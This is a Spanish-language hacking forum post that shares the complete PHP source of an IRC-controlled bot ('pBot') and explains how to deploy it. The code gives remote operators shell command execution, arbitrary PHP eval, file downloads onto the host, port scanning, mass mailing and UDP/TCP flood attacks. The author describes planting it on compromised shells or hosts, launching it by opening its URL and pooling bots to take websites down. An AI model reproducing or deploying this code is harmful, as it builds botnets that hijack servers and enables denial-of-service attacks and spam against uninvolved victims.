Publicado el 04/12/2009 12:12:00 en Hacking General. Total de votos: 10 Votar
Mucha gente me lo pide, la verdad que no se los rolaba por trabajo, casi no tengo tiempo y pues ahorita que murder me regaño por no postear pense en subirlo.
Este pequeño b0t lo habia puesto en la zona priv8 cuando existia el foro DDLR, Ahora como ando de buenas y pues tenia rato sin dedicarle al foro lo subire!
<?php
error_reporting(0);
set_time_limit(0);
$version = explode(".", PHP_VERSION);
$version = $version[0];
settype($version, "integer");
if ($version >= 5)
{
set_exception_handler(create_function('$e', 'header("Location: ".$_SERVER["PHP_SELF"]);'));
}
class pBot
{
var $config = array("server"=>"TU IRC",
"port"=>"PUERTO",
"pass"=>"", //senha do server
"prefix"=>"NICK DEL BOT",
"maxrand"=>5,
"chan"=>"#CANAL",
"key"=>"ddlr", //senha do canal
"modes"=>"+px",
"password"=>"PASSWORD", //senha do bot
"trigger"=>".",
"hostauth"=>"*" // * for any hostname
);
var $users = array();
function start()
{
while (!($this->conn = fsockopen($this->config['server'],$this->config['port'],$e,$s,30))) { }
$ident = "";
$alph = range("a","z");
for($i=0;$i<$this->config['maxrand'];$i++)
$ident .= $alph[rand(0,25)];
if(strlen($this->config['pass'])>0)
$this->send("PASS ".$this->config['pass']);
$this->send("USER $ident 127.0.0.1 localhost :$ident");
$this->set_nick();
$this->main();
}
function main()
{
while(!feof($this->conn))
{
$this->buf = trim(fgets($this->conn,512));
$cmd = explode(" ",$this->buf);
if(substr($this->buf,0,6)=="PING :")
{
$this->send("PONG :".substr($this->buf,6));
}
if(isset($cmd[1]) && $cmd[1] =="001")
{
$this->send("MODE ".$this->nick." ".$this->config['modes']);
$this->join($this->config['chan'],$this->config['key']);
}
if(isset($cmd[1]) && $cmd[1]=="433")
{
$this->set_nick();
}
if($this->buf != $old_buf)
{
$mcmd = array();
$msg = substr(strstr($this->buf," :"),2);
$msgcmd = explode(" ",$msg);
$nick = explode("!",$cmd[0]);
$vhost = explode("@",$nick[1]);
$vhost = $vhost[1];
$nick = substr($nick[0],1);
$host = $cmd[0];
if($msgcmd[0]==$this->nick)
{
for($i=0;$i<count($msgcmd);$i++)
$mcmd[$i] = $msgcmd[$i+1];
}
else
{
for($i=0;$i<count($msgcmd);$i++)
$mcmd[$i] = $msgcmd[$i];
}
if(count($cmd)>2)
{
switch($cmd[1])
{
case "QUIT":
if($this->is_logged_in($host))
{
$this->log_out($host);
}
break;
case "PART":
if($this->is_logged_in($host))
{
$this->log_out($host);
}
break;
case "PRIVMSG":
if(!$this->is_logged_in($host) && ($vhost == $this->config['hostauth'] || $this->config['hostauth'] == "*"))
{
if(substr($mcmd[0],0,1)==".")
{
switch(substr($mcmd[0],1))
{
case "user":
if($mcmd[1]==$this->config['password'])
{
$this->privmsg($this->config['chan'],"[\2PASSWORD\2]: $nick, Access Granted.");
$this->log_in($host);
}
else
{
$this->privmsg($this->config['chan'],"[\2PASSWORD\2]: Access Denied, $nick");
}
break;
}
}
}
elseif($this->is_logged_in($host))
{
if(substr($mcmd[0],0,1)==".")
{
switch(substr($mcmd[0],1))
{
case "restart":
$this->send("QUIT :restart");
fclose($this->conn);
$this->start();
break;
case "mail": //mail to from subject message
if(count($mcmd)>4)
{
$header = "From: <".$mcmd[2].">";
if(!mail($mcmd[1],$mcmd[3],strstr($msg,$mcmd[4]),$header))
{
$this->privmsg($this->config['chan'],"[\2MAIL\2]: Was Unable to send");
}
else
{
$this->privmsg($this->config['chan'],"[\2MAIL\2]: Message have been sent to \2".$mcmd[1]."\2");
}
}
break;
case "inbox": //teste inbox
if(isset($mcmd[1]))
{
$token = md5(uniqid(rand(), true));
$header = "From: <inbox".$token."@rulz.org>";
$a = php_uname();
$b = getenv("SERVER_SOFTWARE");
$c = gethostbyname($_SERVER["HTTP_HOST"]);
if(!mail($mcmd[1],"InBox Test","Powered by uyx\n\nip: $c \nsoftware: $b \nsystem: $a \nvuln: http://".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']."\n",$header))
{
$this->privmsg($this->config['chan'],"[\2inbox\2]: Unable to send");
}
else
{
$this->privmsg($this->config['chan'],"[\2inbox\2]: Message sent to \2".$mcmd[1]."\2");
}
}
break;
case "dns":
if(isset($mcmd[1]))
{
$ip = explode(".",$mcmd[1]);
if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3]))
{
$this->privmsg($this->config['chan'],"[\2DNS\2]: ".$mcmd[1]." => ".gethostbyaddr($mcmd[1]));
}
else
{
$this->privmsg($this->config['chan'],"[\2DNS\2]: ".$mcmd[1]." => ".gethostbyname($mcmd[1]));
}
}
break;
case "info":
$this->privmsg($this->config['chan'],"[\2INFO\2]: [\2httpd\2: ".$_SERVER['SERVER_SOFTWARE']."] [\2docroot\2: ".$_SERVER['DOCUMENT_ROOT']."] [\2domain\2: ".$_SERVER['SERVER_NAME']."] [\2admin\2: ".$_SERVER['SERVER_ADMIN']."] [\2url\2:".$_SERVER['REQUEST_URI']."]");
break;
case "cmd":
if(isset($mcmd[1]))
{
$command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
$this->privmsg($this->config['chan'],"[\2CMD\2]: $command");
$pipe = popen($command,"r");
while(!feof($pipe))
{
$pbuf = trim(fgets($pipe,512));
if($pbuf != NULL)
$this->privmsg($this->config['chan']," : $pbuf");
}
pclose($pipe);
}
break;
case "rndnick":
$this->set_nick();
break;
case "raw":
$this->send(strstr($msg,$mcmd[1]));
break;
case "php":
$eval = eval(substr(strstr($msg,$mcmd[1]),strlen($mcmd[1])));
break;
case "exec": break;
$command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1);
$exec = shell_exec($command);
$ret = explode("\n",$exec);
$this->privmsg($this->config['chan'],"[\2EXEC\2]: $command");
for($i=0;$i<count($ret);$i++)
if($ret[$i]!=NULL)
$this->privmsg($this->config['chan']," : ".trim($ret[$i]));
break;
case "pscan": // .pscan 127.0.0.1 6667
if(count($mcmd) > 2)
{
if(fsockopen($mcmd[1],$mcmd[2],$e,$s,15))
$this->privmsg($this->config['chan'],"[\2PORTSCAN\2]: ".$mcmd[1].":".$mcmd[2]." is \2open\2");
else
$this->privmsg($this->config['chan'],"[\2PORTSCAN\2]: ".$mcmd[1].":".$mcmd[2]." is \2closed\2");
}
break;
case "ud.server": // .udserver <server> <port> [password]
if(count($mcmd)>2)
{
$this->config['server'] = $mcmd[1];
$this->config['port'] = $mcmd[2];
if(isset($mcmcd[3]))
{
$this->config['pass'] = $mcmd[3];
$this->privmsg($this->config['chan'],"[\2UPDATE\2]: Server was Changed to ".$mcmd[1].":".$mcmd[2]." Pass: ".$mcmd[3]);
}
else
{
$this->privmsg($this->config['chan'],"[\2UPDATE\2]: Server was Changed to ".$mcmd[1].":".$mcmd[2]);
}
}
break;
case "download":
if(count($mcmd) > 2)
{
if(!$fp = fopen($mcmd[2],"w"))
{
$this->privmsg($this->config['chan'],"[\2DOWNLOAD\2]: Can not download, permission denied.");
}
else
{
if(!$get = file($mcmd[1]))
{
$this->privmsg($this->config['chan'],"[\2DOWNLOAD\2]: Unable to download from \2".$mcmd[1]."\2");
}
else
{
for($i=0;$i<=count($get);$i++)
{
fwrite($fp,$get[$i]);
}
$this->privmsg($this->config['chan'],"[\2DOWNLOAD\2]: File \2".$mcmd[1]."\2 was downloaded to \2".$mcmd[2]."\2");
}
fclose($fp);
}
}
break;
case "die":
$this->send("QUIT :die command from $nick");
fclose($this->conn);
exit;
case "logout":
$this->log_out($host);
$this->privmsg($this->config['chan'],"[\2PASSWORD\2]: $nick You have been logged out");
break;
case "udpflood":
if(count($mcmd)>4)
{
$this->udpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4]);
}
break;
case "udpflood1":
if(count($mcmd)>4)
{
$this->udpflood1($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4]);
}
break;
case "tcpflood":
if(count($mcmd)>5)
{
$this->tcpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4],$mcmd[5]);
}
break;
case "massmail":
if (count($mcmd)>5)
{
$time = $mcmd[1] / 2;
$this->privmsg($this->config['chan'],"[\2MASSMAIL\2]: Sending\2 {$mcmd[1]}\2 messages(s) to \2".$mcmd[2]."\2");
$sent = 0;
$start_time = explode(" ", microtime());
$start_time = $start_time[0] + $start_time[1];
for ($i = 0; $i < $mcmd[1]; $i++)
{
$header = "From: <".$mcmd[3].">";
if(mail($mcmd[2],$mcmd[3],strstr($msg,$mcmd[4]),$header))
{
$sent++;
}
}
$end_time = explode(" ", microtime());
$end_time = $end_time[0] + $end_time[1];
$end_time = $end_time - $start_time;
$this->privmsg($this->config['chan'],"[\2MASSMAIL\2]: \2 $sent\2 out of\2 {$mcmd[1]}\2 messages(s) sent to \2".$mcmd[2]."\2 in\2 $end_time\2 second(s)");
}
break;
}
}
}
break;
}
}
}
$old_buf = $this->buf;
}
$this->start();
}
function send($msg)
{
fwrite($this->conn,"$msg\r\n");
}
function join($chan,$key=NULL)
{
$this->send("JOIN $chan $key");
}
function privmsg($to,$msg)
{
$this->send("PRIVMSG $to :$msg");
}
function is_logged_in($host)
{
if(isset($this->users[$host]))
return 1;
else
return 0;
}
function log_in($host)
{
$this->users[$host] = true;
}
function log_out($host)
{
unset($this->users[$host]);
}
function set_nick()
{ /*
if(isset($_SERVER['SERVER_SOFTWARE']))
{
if(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"apache"))
$this->nick = "[F]LINUX|00|";
elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"iis"))
$this->nick = "[F]WIN|01|";
elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"xitami"))
$this->nick = "[F]SDBN|02|";
else
$this->nick = "[F]SDBN|03|";
}
else
{
$this->nick = "[F]SDBN|04|";
}
$this->nick .= $this->config['prefix']; */
$this->nick = $this->config['prefix'];
for($i=0;$i<$this->config['maxrand'];$i++)
$this->nick .= mt_rand(0,9);
$this->send("NICK ".$this->nick."");
}
function udpflood($host,$packetsize,$time) {
$this->privmsg($this->config['chan'],"[\2UDP\2]: Attacking $host for $time seconds with $packetsize Kb packets");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
$timei = time();
$i = 0;
while(time()-$timei < $time) {
$fp=fsockopen("udp://".$host,mt_rand(0,6000),$e,$s,5);
fwrite($fp,$packet);
fclose($fp);
$i++;
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->privmsg($this->config['chan'],"[\2UDP\2]: Finished attack: $env MB sent. Attack speed: $vel MB/s ");
}
function udpflood1($host,$packetsize,$time) {
$this->privmsg($this->config['chan'],"[\2UDP\2]: Floodando a classe $host.* por $time segundos com $packetsize Kb packets");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
$timei = time();
$i = 0;
while(time()-$timei < $time) {
$fp=fsockopen("udp://".$host.".110",mt_rand(0,6000),$e,$s,5);
fwrite($fp,$packet);
fclose($fp);
$fp=fsockopen("udp://".$host.".109",mt_rand(0,6000),$e,$s,5);
fwrite($fp,$packet);
fclose($fp);
$fp=fsockopen("udp://".$host.".108",mt_rand(0,6000),$e,$s,5);
fwrite($fp,$packet);
fclose($fp);
$fp=fsockopen("udp://".$host.".107",mt_rand(0,6000),$e,$s,5);
fwrite($fp,$packet);
fclose($fp);
$fp=fsockopen("udp://".$host.".106",mt_rand(0,6000),$e,$s,5);
fwrite($fp,$packet);
fclose($fp);
$i++;
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->privmsg($this->config['chan'],"[\2UDP\2]: Finished attack: $env MB sent. Attack speed: $vel MB/s ");
}
function tcpflood($host,$packets,$packetsize,$port,$delay)
{
$this->privmsg($this->config['chan'],"[\2TCP\2]: Sending $packets packets to $host:$port. Packet size: $packetsize");
$packet = "";
for($i=0;$i<$packetsize;$i++)
$packet .= chr(mt_rand(1,256));
for($i=0;$i<$packets;$i++)
{
if(!$fp=fsockopen("tcp://".$host,$port,$e,$s,5))
{
$this->privmsg($this->config['chan'],"[\2TCP\2]: Error: <$e>");
return 0;
}
else
{
fwrite($fp,$packet);
fclose($fp);
}
sleep($delay);
}
$this->privmsg($this->config['chan'],"[\2TCP\2]: Finished sending $packets packets to $host:$port.");
}
}
$bot = new pBot;
$bot->start();
?>
Como usar? Es sencillo, solamente configuramos en el code lo siguiente
var $config = array("server"=>"TU IRC",
"port"=>"PUERTO",
"pass"=>"", //senha do server
"prefix"=>"NICK DEL BOT",
"maxrand"=>5,
"chan"=>"#CANAL",
"key"=>"ddlr", //senha do canal
"modes"=>"+px",
"password"=>"PASSWORD", //senha do bot
"trigger"=>".",
"hostauth"=>"*" // * for any hostname
);
Alli pondremos que servidor irc, canal, password y nick del b0t usaremos.
Al momento de conectar el pb0t, usaremos comandos para usarlo.. ejemplo:
.udpflood 127.0.0.1 6500 100 1
Con ese comando le decimos al b0t que tumbe la ip con 6500 paquetes de datagrama y el tiempo de 100 milisegundos.. el "1" se supone que es el puerto :S pero asi se lo dejo yo y es mas eficaz xDD
Tiene la opcion igual de portflood y tcp flood, si miran bien el code podran ver los comandos.
Hay otro muy interesante que es ".inbox" ese sirve para ver si el servidor donde se tiene alojado el pb0t sirve para mailer xDD esta rulz!!
Como conectar?? Facil tambien, necesitamos conseguir SHELLS o buenos HOST, normalmente yo uso shells asi conecto varios bots.. pueden conectar hasta 3 bots dependiendo del servidor ya que algunas veces no lo soportan y el bot se cae del canal.
Una ves que el bot este en algun host, lo ejecutaremos.. hay muchas formas y una de ellas y la mas sencilla es ejecutar la url donde este alojado.. ejemplo lo subi en:
www.murdergay.com/carpeta/carpeta/pb0t.php
Solo abrimos la Url y YA jaja una mamada no? pero tengo que explicarlo con manzanas ya que nunca falta el pendejito que no le entiendio y comienza a joder de que no rula.. esta testeado!!
OJO: El code es libre y el uso de el no es pedo del FORO!
Pueden usarlo en salas de Chat como IRC y ARES.. Si eres un vicioso y logras tener unos 20 bots obvio que tambien puedes tumbar sitios web, hay veces que si el host es muy bueno, con 3 bots haces tu desmadre..
======
Saludos al kaOS, MurdeR, b4du3l, pandrax, Dylan, PhyRo, zerit0, fresno, n350k y los demas.. OTRA COSA, tal ves el code este en otro sitio, yo hise este mini tutorial para los que quieren dosear =)) lo habia posteado hace años en DDLR FORO en priv8.. Saludos y si les funciono hechen un votito xD
No sean pendejos y lamos, si van a poner este post en otro sitio pongan creditos : )
Nick: poisonsanx


![Mod [x]](http://www.diosdelared.com/images/rangos/Mod.jpg)
![Master [x]](http://www.diosdelared.com/images/rangos/Master.jpg)
![Newbie [x]](http://www.diosdelared.com/images/rangos/Newbie.jpg)